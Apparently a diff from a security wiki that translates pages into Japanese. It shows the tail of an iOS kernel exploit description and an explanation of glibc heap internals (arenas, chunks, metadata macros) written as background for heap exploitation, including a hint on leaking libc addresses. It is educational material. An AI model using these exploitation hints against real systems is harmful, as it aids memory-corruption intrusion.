With these primitives, the exploit provides controlled **32-bit reads** and **64-bit writes** to kernel memory. Further jailbreak steps could involve more stable read/write primitives, which may require bypassing additional protections (e.g., PPL on newer arm64e devices).
これらのプリミティブを使用して、エクスプロイトは制御された**32ビットの読み取り**と**64ビットの書き込み**をカーネルメモリに提供します。さらなる脱獄ステップでは、より安定した読み書きプリミティブが必要になる可能性があり、追加の保護新しいarm64eデバイスのPPLをバイパスする必要があるかもしれません。

View File

@ -1,197 +1,190 @@
# Libc Heap # Libc Heap
## Heap Basics ## ヒープの基本
The heap is basically the place where a program is going to be able to store data when it requests data calling functions like **`malloc`**, `calloc`... Moreover, when this memory is no longer needed it's made available calling the function **`free`**. ヒープは基本的に、プログラムが**`malloc`**、`calloc`などの関数を呼び出してデータを要求する際にデータを保存できる場所です。さらに、このメモリがもはや必要ない場合は、**`free`**関数を呼び出すことで利用可能になります。
As it's shown, its just after where the binary is being loaded in memory (check the `[heap]` section): 示されているように、これはバイナリがメモリに読み込まれた直後の場所です(`[heap]`セクションを確認してください):
<figure><img src="../../images/image (1241).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../images/image (1241).png" alt=""><figcaption></figcaption></figure>
### Basic Chunk Allocation ### 基本的なチャンクの割り当て
When some data is requested to be stored in the heap, some space of the heap is allocated to it. This space will belong to a bin and only the requested data + the space of the bin headers + minimum bin size offset will be reserved for the chunk. The goal is to just reserve as minimum memory as possible without making it complicated to find where each chunk is. For this, the metadata chunk information is used to know where each used/free chunk is. ヒープに保存するデータが要求されると、ヒープの一部がそれに割り当てられます。このスペースはビンに属し、要求されたデータ + ビンヘッダーのスペース + 最小ビンサイズオフセットの分だけがチャンクのために予約されます。目標は、各チャンクの位置を見つけるのを複雑にせず、できるだけ少ないメモリを予約することです。このために、メタデータチャンク情報を使用して、使用中/未使用の各チャンクの位置を把握します。
There are different ways to reserver the space mainly depending on the used bin, but a general methodology is the following: スペースを予約する方法はいくつかありますが、主に使用されるビンに依存しますが、一般的な方法論は次のとおりです:
- The program starts by requesting certain amount of memory. - プログラムは特定の量のメモリを要求することから始まります。
- If in the list of chunks there someone available big enough to fulfil the request, it'll be used - チャンクのリストに、要求を満たすのに十分な大きさの空きがあれば、それが使用されます。
- This might even mean that part of the available chunk will be used for this request and the rest will be added to the chunks list - これは、利用可能なチャンクの一部がこの要求に使用され、残りがチャンクリストに追加されることを意味する場合もあります。
- If there isn't any available chunk in the list but there is still space in allocated heap memory, the heap manager creates a new chunk - リストに利用可能なチャンクがないが、割り当てられたヒープメモリにまだスペースがある場合、ヒープマネージャーは新しいチャンクを作成します。
- If there is not enough heap space to allocate the new chunk, the heap manager asks the kernel to expand the memory allocated to the heap and then use this memory to generate the new chunk - 新しいチャンクを割り当てるのに十分なヒープスペースがない場合、ヒープマネージャーはカーネルにヒープに割り当てられたメモリを拡張するように要求し、その後このメモリを使用して新しいチャンクを生成します。
- If everything fails, `malloc` returns null. - すべてが失敗した場合、`malloc`はnullを返します。
Note that if the requested **memory passes a threshold**, **`mmap`** will be used to map the requested memory. 要求された**メモリが閾値を超えた場合**、**`mmap`**が要求されたメモリをマッピングするために使用されることに注意してください。
## Arenas ## アリーナ
In **multithreaded** applications, the heap manager must prevent **race conditions** that could lead to crashes. Initially, this was done using a **global mutex** to ensure that only one thread could access the heap at a time, but this caused **performance issues** due to the mutex-induced bottleneck. **マルチスレッド**アプリケーションでは、ヒープマネージャーはクラッシュを引き起こす可能性のある**レースコンディション**を防ぐ必要があります。最初は、グローバルミューテックスを使用して、同時に1つのスレッドだけがヒープにアクセスできるようにしていましたが、これによりミューテックスによるボトルネックが発生し、**パフォーマンスの問題**が生じました。
To address this, the ptmalloc2 heap allocator introduced "arenas," where **each arena** acts as a **separate heap** with its **own** data **structures** and **mutex**, allowing multiple threads to perform heap operations without interfering with each other, as long as they use different arenas. これに対処するために、ptmalloc2ヒープアロケータは「アリーナ」を導入しました。ここで**各アリーナ**は**独自の**データ**構造**と**ミューテックス**を持つ**別々のヒープ**として機能し、異なるアリーナを使用する限り、複数のスレッドが互いに干渉することなくヒープ操作を実行できます。
The default "main" arena handles heap operations for single-threaded applications. When **new threads** are added, the heap manager assigns them **secondary arenas** to reduce contention. It first attempts to attach each new thread to an unused arena, creating new ones if needed, up to a limit of 2 times the number of CPU cores for 32-bit systems and 8 times for 64-bit systems. Once the limit is reached, **threads must share arenas**, leading to potential contention. デフォルトの「メイン」アリーナは、シングルスレッドアプリケーションのヒープ操作を処理します。**新しいスレッド**が追加されると、ヒープマネージャーは競合を減らすために**セカンダリアリーナ**を割り当てます。最初に、各新しいスレッドを未使用のアリーナに接続しようとし、必要に応じて新しいアリーナを作成します。32ビットシステムではCPUコア数の2倍、64ビットシステムでは8倍の制限があります。制限に達すると、**スレッドはアリーナを共有しなければならず**、競合の可能性が生じます。
Unlike the main arena, which expands using the `brk` system call, secondary arenas create "subheaps" using `mmap` and `mprotect` to simulate the heap behaviour, allowing flexibility in managing memory for multithreaded operations. メインアリーナとは異なり、`brk`システムコールを使用して拡張されるメインアリーナに対し、セカンダリアリーナは`mmap``mprotect`を使用して「サブヒープ」を作成し、マルチスレッド操作のためのメモリ管理の柔軟性を提供します。
### Subheaps ### サブヒープ
Subheaps serve as memory reserves for secondary arenas in multithreaded applications, allowing them to grow and manage their own heap regions separately from the main heap. Here's how subheaps differ from the initial heap and how they operate: サブヒープは、マルチスレッドアプリケーションにおけるセカンダリアリーナのメモリ予備として機能し、メインヒープとは別に自分自身のヒープ領域を成長させ、管理することを可能にします。サブヒープが初期ヒープとどのように異なり、どのように機能するかは次のとおりです:
1. **Initial Heap vs. Subheaps**: 1. **初期ヒープとサブヒープ**
- The initial heap is located directly after the program's binary in memory, and it expands using the `sbrk` system call. - 初期ヒープはプログラムのバイナリの直後にメモリに位置し、`sbrk`システムコールを使用して拡張されます。
- Subheaps, used by secondary arenas, are created through `mmap`, a system call that maps a specified memory region. - セカンダリアリーナによって使用されるサブヒープは、指定されたメモリ領域をマッピングするシステムコールである`mmap`を通じて作成されます。
2. **Memory Reservation with `mmap`**: 2. **`mmap`によるメモリ予約**
- When the heap manager creates a subheap, it reserves a large block of memory through `mmap`. This reservation doesn't allocate memory immediately; it simply designates a region that other system processes or allocations shouldn't use. - ヒープマネージャーがサブヒープを作成するとき、大きなメモリブロックを`mmap`を通じて予約します。この予約は即座にメモリを割り当てるわけではなく、他のシステムプロセスや割り当てが使用しないべき領域を指定するだけです。
- By default, the reserved size for a subheap is 1 MB for 32-bit processes and 64 MB for 64-bit processes. - デフォルトでは、サブヒープの予約サイズは32ビットプロセスで1MB、64ビットプロセスで64MBです。
3. **Gradual Expansion with `mprotect`**: 3. **`mprotect`による段階的拡張**
- The reserved memory region is initially marked as `PROT_NONE`, indicating that the kernel doesn't need to allocate physical memory to this space yet. - 予約されたメモリ領域は最初に`PROT_NONE`としてマークされ、カーネルがこのスペースに物理メモリを割り当てる必要がないことを示します。
- To "grow" the subheap, the heap manager uses `mprotect` to change page permissions from `PROT_NONE` to `PROT_READ | PROT_WRITE`, prompting the kernel to allocate physical memory to the previously reserved addresses. This step-by-step approach allows the subheap to expand as needed. - サブヒープを「成長させる」ために、ヒープマネージャーは`mprotect`を使用してページの権限を`PROT_NONE`から`PROT_READ | PROT_WRITE`に変更し、カーネルに以前に予約されたアドレスに物理メモリを割り当てるように促します。この段階的アプローチにより、サブヒープは必要に応じて拡張できます。
- Once the entire subheap is exhausted, the heap manager creates a new subheap to continue allocation. - サブヒープが完全に使い果たされると、ヒープマネージャーは新しいサブヒープを作成して割り当てを続けます。
### heap_info <a href="#heap_info" id="heap_info"></a> ### heap_info <a href="#heap_info" id="heap_info"></a>
This struct allocates relevant information of the heap. Moreover, heap memory might not be continuous after more allocations, this struct will also store that info. この構造体はヒープの関連情報を割り当てます。さらに、ヒープメモリは追加の割り当ての後に連続していない場合があり、この構造体はその情報も保存します。
```c ```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/arena.c#L837 // From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/arena.c#L837
typedef struct _heap_info typedef struct _heap_info
{ {
mstate ar_ptr; /* Arena for this heap. */ mstate ar_ptr; /* Arena for this heap. */
struct _heap_info *prev; /* Previous heap. */ struct _heap_info *prev; /* Previous heap. */
size_t size; /* Current size in bytes. */ size_t size; /* Current size in bytes. */
size_t mprotect_size; /* Size in bytes that has been mprotected size_t mprotect_size; /* Size in bytes that has been mprotected
PROT_READ|PROT_WRITE. */ PROT_READ|PROT_WRITE. */
size_t pagesize; /* Page size used when allocating the arena. */ size_t pagesize; /* Page size used when allocating the arena. */
/* Make sure the following data is properly aligned, particularly /* Make sure the following data is properly aligned, particularly
that sizeof (heap_info) + 2 * SIZE_SZ is a multiple of that sizeof (heap_info) + 2 * SIZE_SZ is a multiple of
MALLOC_ALIGNMENT. */ MALLOC_ALIGNMENT. */
char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK]; char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK];
} heap_info; } heap_info;
``` ```
### malloc_state ### malloc_state
**Each heap** (main arena or other threads arenas) has a **`malloc_state` structure.**\ **各ヒープ**(メインアリーナまたは他のスレッドアリーナ)には**`malloc_state`構造体があります。**\
Its important to notice that the **main arena `malloc_state`** structure is a **global variable in the libc** (therefore located in the libc memory space).\ **メインアリーナの`malloc_state`**構造体は**libcのグローバル変数**であることに注意することが重要ですしたがって、libcのメモリ空間にあります\
In the case of **`malloc_state`** structures of the heaps of threads, they are located **inside own thread "heap"**. スレッドのヒープの**`malloc_state`**構造体は、**各スレッドの「ヒープ」内にあります**。
There some interesting things to note from this structure (see C code below): この構造体から注目すべき興味深い点がいくつかあります以下のCコードを参照
- `__libc_lock_define (, mutex);` Is there to make sure this structure from the heap is accessed by 1 thread at a time - `__libc_lock_define (, mutex);` は、このヒープの構造体が1つのスレッドによって同時にアクセスされることを保証するためにあります。
- Flags: - フラグ:
- ```c - ```c
#define NONCONTIGUOUS_BIT (2U) #define NONCONTIGUOUS_BIT (2U)
#define contiguous(M) (((M)->flags & NONCONTIGUOUS_BIT) == 0) #define contiguous(M) (((M)->flags & NONCONTIGUOUS_BIT) == 0)
#define noncontiguous(M) (((M)->flags & NONCONTIGUOUS_BIT) != 0) #define noncontiguous(M) (((M)->flags & NONCONTIGUOUS_BIT) != 0)
#define set_noncontiguous(M) ((M)->flags |= NONCONTIGUOUS_BIT) #define set_noncontiguous(M) ((M)->flags |= NONCONTIGUOUS_BIT)
#define set_contiguous(M) ((M)->flags &= ~NONCONTIGUOUS_BIT) #define set_contiguous(M) ((M)->flags &= ~NONCONTIGUOUS_BIT)
``` ```
- The `mchunkptr bins[NBINS * 2 - 2];` contains **pointers** to the **first and last chunks** of the small, large and unsorted **bins** (the -2 is because the index 0 is not used)
- Therefore, the **first chunk** of these bins will have a **backwards pointer to this structure** and the **last chunk** of these bins will have a **forward pointer** to this structure. Which basically means that if you can l**eak these addresses in the main arena** you will have a pointer to the structure in the **libc**.
- The structs `struct malloc_state *next;` and `struct malloc_state *next_free;` are linked lists os arenas
- The `top` chunk is the last "chunk", which is basically **all the heap reminding space**. Once the top chunk is "empty", the heap is completely used and it needs to request more space.
- The `last reminder` chunk comes from cases where an exact size chunk is not available and therefore a bigger chunk is splitter, a pointer remaining part is placed here.
- `mchunkptr bins[NBINS * 2 - 2];` は、**小さな、大きな、未ソートの** **ビン**の**最初と最後のチャンク**への**ポインタ**を含んでいます(-2はインデックス0が使用されないためです
- したがって、これらのビンの**最初のチャンク**はこの構造体への**逆ポインタ**を持ち、これらのビンの**最後のチャンク**はこの構造体への**前方ポインタ**を持ちます。基本的に、もしあなたが**メインアリーナでこれらのアドレスを漏洩させることができれば**、あなたは**libc**内の構造体へのポインタを持つことになります。
- 構造体`struct malloc_state *next;``struct malloc_state *next_free;`はアリーナのリンクリストです。
- `top`チャンクは最後の「チャンク」であり、基本的に**ヒープの残りのすべてのスペース**です。トップチャンクが「空」であるとき、ヒープは完全に使用されており、さらにスペースを要求する必要があります。
- `last reminder`チャンクは、正確なサイズのチャンクが利用できない場合に発生し、したがって大きなチャンクが分割され、残りの部分のポインタがここに置かれます。
```c ```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1812 // From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1812
struct malloc_state struct malloc_state
{ {
/* Serialize access. */ /* Serialize access. */
__libc_lock_define (, mutex); __libc_lock_define (, mutex);
/* Flags (formerly in max_fast). */ /* Flags (formerly in max_fast). */
int flags; int flags;
/* Set if the fastbin chunks contain recently inserted free blocks. */ /* Set if the fastbin chunks contain recently inserted free blocks. */
/* Note this is a bool but not all targets support atomics on booleans. */ /* Note this is a bool but not all targets support atomics on booleans. */
int have_fastchunks; int have_fastchunks;
/* Fastbins */ /* Fastbins */
mfastbinptr fastbinsY[NFASTBINS]; mfastbinptr fastbinsY[NFASTBINS];
/* Base of the topmost chunk -- not otherwise kept in a bin */ /* Base of the topmost chunk -- not otherwise kept in a bin */
mchunkptr top; mchunkptr top;
/* The remainder from the most recent split of a small request */ /* The remainder from the most recent split of a small request */
mchunkptr last_remainder; mchunkptr last_remainder;
/* Normal bins packed as described above */ /* Normal bins packed as described above */
mchunkptr bins[NBINS * 2 - 2]; mchunkptr bins[NBINS * 2 - 2];
/* Bitmap of bins */ /* Bitmap of bins */
unsigned int binmap[BINMAPSIZE]; unsigned int binmap[BINMAPSIZE];
/* Linked list */ /* Linked list */
struct malloc_state *next; struct malloc_state *next;
/* Linked list for free arenas. Access to this field is serialized /* Linked list for free arenas. Access to this field is serialized
by free_list_lock in arena.c. */ by free_list_lock in arena.c. */
struct malloc_state *next_free; struct malloc_state *next_free;
/* Number of threads attached to this arena. 0 if the arena is on /* Number of threads attached to this arena. 0 if the arena is on
the free list. Access to this field is serialized by the free list. Access to this field is serialized by
free_list_lock in arena.c. */ free_list_lock in arena.c. */
INTERNAL_SIZE_T attached_threads; INTERNAL_SIZE_T attached_threads;
/* Memory allocated from the system in this arena. */ /* Memory allocated from the system in this arena. */
INTERNAL_SIZE_T system_mem; INTERNAL_SIZE_T system_mem;
INTERNAL_SIZE_T max_system_mem; INTERNAL_SIZE_T max_system_mem;
}; };
``` ```
### malloc_chunk ### malloc_chunk
This structure represents a particular chunk of memory. The various fields have different meaning for allocated and unallocated chunks. この構造体は特定のメモリチャンクを表します。さまざまなフィールドは、割り当てられたチャンクと未割り当てのチャンクで異なる意味を持ちます。
```c ```c
// https://github.com/bminor/glibc/blob/master/malloc/malloc.c // https://github.com/bminor/glibc/blob/master/malloc/malloc.c
struct malloc_chunk { struct malloc_chunk {
INTERNAL_SIZE_T mchunk_prev_size; /* Size of previous chunk, if it is free. */ INTERNAL_SIZE_T mchunk_prev_size; /* Size of previous chunk, if it is free. */
INTERNAL_SIZE_T mchunk_size; /* Size in bytes, including overhead. */ INTERNAL_SIZE_T mchunk_size; /* Size in bytes, including overhead. */
struct malloc_chunk* fd; /* double links -- used only if this chunk is free. */ struct malloc_chunk* fd; /* double links -- used only if this chunk is free. */
struct malloc_chunk* bk; struct malloc_chunk* bk;
/* Only used for large blocks: pointer to next larger size. */ /* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk* fd_nextsize; /* double links -- used only if this chunk is free. */ struct malloc_chunk* fd_nextsize; /* double links -- used only if this chunk is free. */
struct malloc_chunk* bk_nextsize; struct malloc_chunk* bk_nextsize;
}; };
typedef struct malloc_chunk* mchunkptr; typedef struct malloc_chunk* mchunkptr;
``` ```
以前にコメントしたように、これらのチャンクにはメタデータも含まれており、以下の画像で非常に良く表現されています:
As commented previously, these chunks also have some metadata, very good represented in this image:
<figure><img src="../../images/image (1242).png" alt=""><figcaption><p><a href="https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png">https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png</a></p></figcaption></figure> <figure><img src="../../images/image (1242).png" alt=""><figcaption><p><a href="https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png">https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png</a></p></figcaption></figure>
The metadata is usually 0x08B indicating the current chunk size using the last 3 bits to indicate: メタデータは通常0x08Bで、現在のチャンクサイズを示し、最後の3ビットを使用して次のことを示します
- `A`: If 1 it comes from a subheap, if 0 it's in the main arena - `A`: 1の場合はサブヒープから、0の場合はメインアリーナにあります
- `M`: If 1, this chunk is part of a space allocated with mmap and not part of a heap - `M`: 1の場合、このチャンクはmmapで割り当てられたスペースの一部であり、ヒープの一部ではありません
- `P`: If 1, the previous chunk is in use - `P`: 1の場合、前のチャンクは使用中です
Then, the space for the user data, and finally 0x08B to indicate the previous chunk size when the chunk is available (or to store user data when it's allocated). 次に、ユーザーデータのためのスペースがあり、最後にチャンクが利用可能なときの前のチャンクサイズを示すために0x08Bがありますまたは割り当てられているときにユーザーデータを格納するため
Moreover, when available, the user data is used to contain also some data: さらに、利用可能な場合、ユーザーデータは他のデータも含むために使用されます:
- **`fd`**: Pointer to the next chunk - **`fd`**: 次のチャンクへのポインタ
- **`bk`**: Pointer to the previous chunk - **`bk`**: 前のチャンクへのポインタ
- **`fd_nextsize`**: Pointer to the first chunk in the list is smaller than itself - **`fd_nextsize`**: リスト内で自分より小さい最初のチャンクへのポインタ
- **`bk_nextsize`:** Pointer to the first chunk the list that is larger than itself - **`bk_nextsize`:** リスト内で自分より大きい最初のチャンクへのポインタ
<figure><img src="../../images/image (1243).png" alt=""><figcaption><p><a href="https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png">https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png</a></p></figcaption></figure> <figure><img src="../../images/image (1243).png" alt=""><figcaption><p><a href="https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png">https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png</a></p></figcaption></figure>
> [!NOTE] > [!NOTE]
> Note how liking the list this way prevents the need to having an array where every single chunk is being registered. > このようにリストをリンクすることで、すべてのチャンクが登録されている配列を持つ必要がなくなることに注意してください。
### Chunk Pointers ### チャンクポインタ
When malloc is used a pointer to the content that can be written is returned (just after the headers), however, when managing chunks, it's needed a pointer to the begining of the headers (metadata).\
For these conversions these functions are used:
mallocが使用されると、書き込むことができるコンテンツへのポインタが返されますヘッダーの直後、ただし、チャンクを管理する際には、ヘッダーメタデータの先頭へのポインタが必要です。\
これらの変換には、次の関数が使用されます:
```c ```c
// https://github.com/bminor/glibc/blob/master/malloc/malloc.c // https://github.com/bminor/glibc/blob/master/malloc/malloc.c
@ -207,13 +200,11 @@ For these conversions these functions are used:
/* The smallest size we can malloc is an aligned minimal chunk */ /* The smallest size we can malloc is an aligned minimal chunk */
#define MINSIZE \ #define MINSIZE \
(unsigned long)(((MIN_CHUNK_SIZE+MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)) (unsigned long)(((MIN_CHUNK_SIZE+MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK))
``` ```
### アライメントと最小サイズ
### Alignment & min size チャンクへのポインタと `0x0f` は 0 でなければなりません。
The pointer to the chunk and `0x0f` must be 0.
```c ```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/sysdeps/generic/malloc-size.h#L61 // From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/sysdeps/generic/malloc-size.h#L61
#define MALLOC_ALIGN_MASK (MALLOC_ALIGNMENT - 1) #define MALLOC_ALIGN_MASK (MALLOC_ALIGNMENT - 1)
@ -227,56 +218,54 @@ The pointer to the chunk and `0x0f` must be 0.
#define aligned_OK(m) (((unsigned long)(m) & MALLOC_ALIGN_MASK) == 0) #define aligned_OK(m) (((unsigned long)(m) & MALLOC_ALIGN_MASK) == 0)
#define misaligned_chunk(p) \ #define misaligned_chunk(p) \
((uintptr_t)(MALLOC_ALIGNMENT == CHUNK_HDR_SZ ? (p) : chunk2mem (p)) \ ((uintptr_t)(MALLOC_ALIGNMENT == CHUNK_HDR_SZ ? (p) : chunk2mem (p)) \
& MALLOC_ALIGN_MASK) & MALLOC_ALIGN_MASK)
/* pad request bytes into a usable size -- internal version */ /* pad request bytes into a usable size -- internal version */
/* Note: This must be a macro that evaluates to a compile time constant /* Note: This must be a macro that evaluates to a compile time constant
if passed a literal constant. */ if passed a literal constant. */
#define request2size(req) \ #define request2size(req) \
(((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE) ? \ (((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE) ? \
MINSIZE : \ MINSIZE : \
((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK) ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)
/* Check if REQ overflows when padded and aligned and if the resulting /* Check if REQ overflows when padded and aligned and if the resulting
value is less than PTRDIFF_T. Returns the requested size or value is less than PTRDIFF_T. Returns the requested size or
MINSIZE in case the value is less than MINSIZE, or 0 if any of the MINSIZE in case the value is less than MINSIZE, or 0 if any of the
previous checks fail. */ previous checks fail. */
static inline size_t static inline size_t
checked_request2size (size_t req) __nonnull (1) checked_request2size (size_t req) __nonnull (1)
{ {
if (__glibc_unlikely (req > PTRDIFF_MAX)) if (__glibc_unlikely (req > PTRDIFF_MAX))
return 0; return 0;
/* When using tagged memory, we cannot share the end of the user /* When using tagged memory, we cannot share the end of the user
block with the header for the next chunk, so ensure that we block with the header for the next chunk, so ensure that we
allocate blocks that are rounded up to the granule size. Take allocate blocks that are rounded up to the granule size. Take
care not to overflow from close to MAX_SIZE_T to a small care not to overflow from close to MAX_SIZE_T to a small
number. Ideally, this would be part of request2size(), but that number. Ideally, this would be part of request2size(), but that
must be a macro that produces a compile time constant if passed must be a macro that produces a compile time constant if passed
a constant literal. */ a constant literal. */
if (__glibc_unlikely (mtag_enabled)) if (__glibc_unlikely (mtag_enabled))
{ {
/* Ensure this is not evaluated if !mtag_enabled, see gcc PR 99551. */ /* Ensure this is not evaluated if !mtag_enabled, see gcc PR 99551. */
asm (""); asm ("");
req = (req + (__MTAG_GRANULE_SIZE - 1)) & req = (req + (__MTAG_GRANULE_SIZE - 1)) &
~(size_t)(__MTAG_GRANULE_SIZE - 1); ~(size_t)(__MTAG_GRANULE_SIZE - 1);
} }
return request2size (req); return request2size (req);
} }
``` ```
合計必要スペースを計算する際、`prev_size` フィールドがデータを格納するために使用できるため、`SIZE_SZ` は1回だけ追加されることに注意してください。そのため、初期ヘッダーのみが必要です。
Note that for calculating the total space needed it's only added `SIZE_SZ` 1 time because the `prev_size` field can be used to store data, therefore only the initial header is needed. ### チャンクデータを取得し、メタデータを変更する
### Get Chunk data and alter metadata これらの関数はチャンクへのポインタを受け取り、メタデータをチェック/設定するのに便利です:
These functions work by receiving a pointer to a chunk and are useful to check/set metadata:
- Check chunk flags
- チャンクフラグをチェック
```c ```c
// From https://github.com/bminor/glibc/blob/master/malloc/malloc.c // From https://github.com/bminor/glibc/blob/master/malloc/malloc.c
@ -296,8 +285,8 @@ These functions work by receiving a pointer to a chunk and are useful to check/s
/* size field is or'ed with NON_MAIN_ARENA if the chunk was obtained /* size field is or'ed with NON_MAIN_ARENA if the chunk was obtained
from a non-main arena. This is only set immediately before handing from a non-main arena. This is only set immediately before handing
the chunk to the user, if necessary. */ the chunk to the user, if necessary. */
#define NON_MAIN_ARENA 0x4 #define NON_MAIN_ARENA 0x4
/* Check for chunk from main arena. */ /* Check for chunk from main arena. */
@ -306,18 +295,16 @@ These functions work by receiving a pointer to a chunk and are useful to check/s
/* Mark a chunk as not being on the main arena. */ /* Mark a chunk as not being on the main arena. */
#define set_non_main_arena(p) ((p)->mchunk_size |= NON_MAIN_ARENA) #define set_non_main_arena(p) ((p)->mchunk_size |= NON_MAIN_ARENA)
``` ```
- サイズと他のチャンクへのポインタ
- Sizes and pointers to other chunks
```c ```c
/* /*
Bits to mask off when extracting size Bits to mask off when extracting size
Note: IS_MMAPPED is intentionally not masked off from size field in Note: IS_MMAPPED is intentionally not masked off from size field in
macros for which mmapped chunks should never be seen. This should macros for which mmapped chunks should never be seen. This should
cause helpful core dumps to occur if it is tried by accident by cause helpful core dumps to occur if it is tried by accident by
people extending or adapting this malloc. people extending or adapting this malloc.
*/ */
#define SIZE_BITS (PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) #define SIZE_BITS (PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
/* Get size, ignoring use bits */ /* Get size, ignoring use bits */
@ -341,35 +328,31 @@ These functions work by receiving a pointer to a chunk and are useful to check/s
/* Treat space at ptr + offset as a chunk */ /* Treat space at ptr + offset as a chunk */
#define chunk_at_offset(p, s) ((mchunkptr) (((char *) (p)) + (s))) #define chunk_at_offset(p, s) ((mchunkptr) (((char *) (p)) + (s)))
``` ```
- インスイービット
- Insue bit
```c ```c
/* extract p's inuse bit */ /* extract p's inuse bit */
#define inuse(p) \ #define inuse(p) \
((((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size) & PREV_INUSE) ((((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size) & PREV_INUSE)
/* set/clear chunk as being inuse without otherwise disturbing */ /* set/clear chunk as being inuse without otherwise disturbing */
#define set_inuse(p) \ #define set_inuse(p) \
((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size |= PREV_INUSE ((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size |= PREV_INUSE
#define clear_inuse(p) \ #define clear_inuse(p) \
((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size &= ~(PREV_INUSE) ((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size &= ~(PREV_INUSE)
/* check/set/clear inuse bits in known places */ /* check/set/clear inuse bits in known places */
#define inuse_bit_at_offset(p, s) \ #define inuse_bit_at_offset(p, s) \
(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size & PREV_INUSE) (((mchunkptr) (((char *) (p)) + (s)))->mchunk_size & PREV_INUSE)
#define set_inuse_bit_at_offset(p, s) \ #define set_inuse_bit_at_offset(p, s) \
(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size |= PREV_INUSE) (((mchunkptr) (((char *) (p)) + (s)))->mchunk_size |= PREV_INUSE)
#define clear_inuse_bit_at_offset(p, s) \ #define clear_inuse_bit_at_offset(p, s) \
(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size &= ~(PREV_INUSE)) (((mchunkptr) (((char *) (p)) + (s)))->mchunk_size &= ~(PREV_INUSE))
``` ```
- チャンク番号が使用されている場合、ヘッダーとフッターを設定する
- Set head and footer (when chunk nos in use
```c ```c
/* Set size at head, without disturbing its use bit */ /* Set size at head, without disturbing its use bit */
#define set_head_size(p, s) ((p)->mchunk_size = (((p)->mchunk_size & SIZE_BITS) | (s))) #define set_head_size(p, s) ((p)->mchunk_size = (((p)->mchunk_size & SIZE_BITS) | (s)))
@ -380,44 +363,40 @@ These functions work by receiving a pointer to a chunk and are useful to check/s
/* Set size at footer (only when chunk is not in use) */ /* Set size at footer (only when chunk is not in use) */
#define set_foot(p, s) (((mchunkptr) ((char *) (p) + (s)))->mchunk_prev_size = (s)) #define set_foot(p, s) (((mchunkptr) ((char *) (p) + (s)))->mchunk_prev_size = (s))
``` ```
- チャンク内の実際に使用可能なデータのサイズを取得する
- Get the size of the real usable data inside the chunk
```c ```c
#pragma GCC poison mchunk_size #pragma GCC poison mchunk_size
#pragma GCC poison mchunk_prev_size #pragma GCC poison mchunk_prev_size
/* This is the size of the real usable data in the chunk. Not valid for /* This is the size of the real usable data in the chunk. Not valid for
dumped heap chunks. */ dumped heap chunks. */
#define memsize(p) \ #define memsize(p) \
(__MTAG_GRANULE_SIZE > SIZE_SZ && __glibc_unlikely (mtag_enabled) ? \ (__MTAG_GRANULE_SIZE > SIZE_SZ && __glibc_unlikely (mtag_enabled) ? \
chunksize (p) - CHUNK_HDR_SZ : \ chunksize (p) - CHUNK_HDR_SZ : \
chunksize (p) - CHUNK_HDR_SZ + (chunk_is_mmapped (p) ? 0 : SIZE_SZ)) chunksize (p) - CHUNK_HDR_SZ + (chunk_is_mmapped (p) ? 0 : SIZE_SZ))
/* If memory tagging is enabled the layout changes to accommodate the granule /* If memory tagging is enabled the layout changes to accommodate the granule
size, this is wasteful for small allocations so not done by default. size, this is wasteful for small allocations so not done by default.
Both the chunk header and user data has to be granule aligned. */ Both the chunk header and user data has to be granule aligned. */
_Static_assert (__MTAG_GRANULE_SIZE <= CHUNK_HDR_SZ, _Static_assert (__MTAG_GRANULE_SIZE <= CHUNK_HDR_SZ,
"memory tagging is not supported with large granule."); "memory tagging is not supported with large granule.");
static __always_inline void * static __always_inline void *
tag_new_usable (void *ptr) tag_new_usable (void *ptr)
{ {
if (__glibc_unlikely (mtag_enabled) && ptr) if (__glibc_unlikely (mtag_enabled) && ptr)
{ {
mchunkptr cp = mem2chunk(ptr); mchunkptr cp = mem2chunk(ptr);
ptr = __libc_mtag_tag_region (__libc_mtag_new_tag (ptr), memsize (cp)); ptr = __libc_mtag_tag_region (__libc_mtag_new_tag (ptr), memsize (cp));
} }
return ptr; return ptr;
} }
``` ```
## 例
## Examples ### クイックヒープの例
### Quick Heap Example
Quick heap example from [https://guyinatuxedo.github.io/25-heap/index.html](https://guyinatuxedo.github.io/25-heap/index.html) but in arm64:
